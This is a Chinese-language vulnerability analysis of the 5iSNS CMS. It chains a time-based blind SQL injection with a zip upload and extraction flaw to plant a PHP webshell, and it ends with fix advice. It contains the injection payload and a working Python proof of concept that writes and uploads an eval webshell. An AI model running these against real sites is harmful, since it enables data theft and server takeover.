某CMS组合漏洞至Getshell
字数 1237 2025-08-29 08:32:30
5iSNS CMS组合漏洞分析:从SQL注入到Getshell
漏洞概述
本文分析5iSNS内容付费系统存在的组合漏洞,通过SQL注入获取数据库信息,结合文件上传功能实现最终Getshell。该漏洞利用链包含三个关键环节:
- SQL注入漏洞获取数据库中的压缩包信息
- 文件上传功能上传恶意压缩包
- 解压缩功能触发恶意文件执行
漏洞分析
1. SQL注入漏洞
漏洞位置:5isns/basephp/func/db.func.php中的db_cond_to_sqladd函数
漏洞原理:
- 系统使用PDO但未完全实现预编译
- 当传入数组参数时(如
id[test]=1),会进入特殊处理分支 - 攻击者可控制SQL语句中的操作符部分
关键代码:
function db_cond_to_sqladd($cond) {
$s = '';
if(!empty($cond)) {
$s = ' WHERE ';
foreach($cond as $k=>$v) {
if(!is_array($v)) {
// ...
} else {
foreach($v as $k1=>$v1) {
$v1 = (is_int($v1) || is_float($v1)) ? $v1 : "'".addslashes($v1)."'";
if(strrpos($k,'CONCAT')!==false){
$s .= "$k$k1$v1 AND ";
}else{
$s .= "`$k`$k1$v1 AND ";
}
}
}
}
$s = substr($s, 0, -4);
}
return $s;
}
利用方式:
- 构造形如
val[ and if(ascii(substr((select sha1 from 5isns_file where name in (0x...)),1,1)) in (97),sleep(3),0)--+]=1的请求 - 通过时间盲注获取数据库中的敏感信息(如sha1值和文件名)
2. 文件上传功能
上传路径:
- 压缩包默认上传到
$conf['upload_path'].'attach/'目录 - 文档上传到
$conf['upload_path'].'docview/'目录
限制条件:
- 只能上传压缩包格式文件
- 文档上传后需要管理员审核,但信息已存入数据库
3. 漏洞组合利用
关键代码位置:5isns/app/index/controller/doc.php中的upload操作
利用流程:
- 通过SQL注入获取数据库中存储的sha1值和文件名
- 构造同名恶意压缩包(包含webshell)
- 利用上传接口将恶意压缩包上传到docview目录
- 触发解压缩操作执行恶意代码
解压缩关键代码:
$info = db_find_one('doccon',array('sha1'=>$data['sha1']));
$fileinfo = db_find_one('file',array('id'=>$info['fileid']));
$name = str_replace('.'.$fileinfo['ext'],'',$fileinfo['savename']);
xn_unzip($conf['upload_path'].'docview/'.$name.'.zip', $conf['upload_path'].'docview/'.$name.'/');
绕过条件:
- 时间限制:
$time-intval($time1)>60- 通过设置足够大的time参数绕过 - 文件存在检查:
!file_exists($tmpurl)- 每次使用不同的文件名 - 文件移动:
move_uploaded_file将文件写入docview目录 - 数据库查询:通过注入获取的sha1值查询对应文件名
漏洞利用PoC
def get_sha1(root_url,hex_title,payload,headers):
sha1 = ''
for i in xrange(1,33):
for x in payload:
param = "?val[ and if(ascii(substr((select sha1 from 5isns_file where name in (%s)),%s,1)) in (%d),sleep(3),0)--+]=1" % (hex_title,i,ord(x))
url = root_url + '/api-focus' + param
start_time = time.time()
s = requests.get(url=url)
end_time = time.time()
if end_time - start_time > 2:
sha1 += x
break
return sha1
def upload_shell_dir(root_url,sha1,shell_dir):
filename = shell_dir + '.zip'
cmd = 'echo "<?php @eval($_POST[1]);?>" > shell.php && zip %s shell.php' % filename
os.system(cmd)
exp_url = root_url + '/doc-upload?time=%s&sha1=%s' % ('159999999999',sha1)
files = {
"file":open(filename,'rb'),
"file_name":(None,"testssss")
}
s = requests.post(url=exp_url,files=files)
shell_url = root_url + '/upload/docview/' + shell_dir + '/shell.php'
data = {'1':'phpinfo();'}
s = requests.post(url=shell_url,data=data)
if 'phpinfo' in s.text:
print shell_url
修复建议
-
SQL注入修复:
- 完全使用PDO预编译语句
- 对用户输入进行严格过滤
- 移除
db_cond_to_sqladd函数中的动态SQL拼接
-
文件上传修复:
- 对上传文件进行严格的内容检查
- 解压缩前验证文件完整性
- 限制解压缩目录不可执行PHP文件
-
权限控制:
- 加强后台管理权限验证
- 实现上传文件与解压缩操作的权限分离
总结
该漏洞利用链展示了如何通过组合多个看似独立的漏洞实现最终攻击目标。开发人员应当注意:
- 不要信任任何用户输入
- 安全功能实现要完整(如PDO预编译)
- 文件操作要设置严格的权限和验证机制
- 关键操作(如解压缩)要有安全审计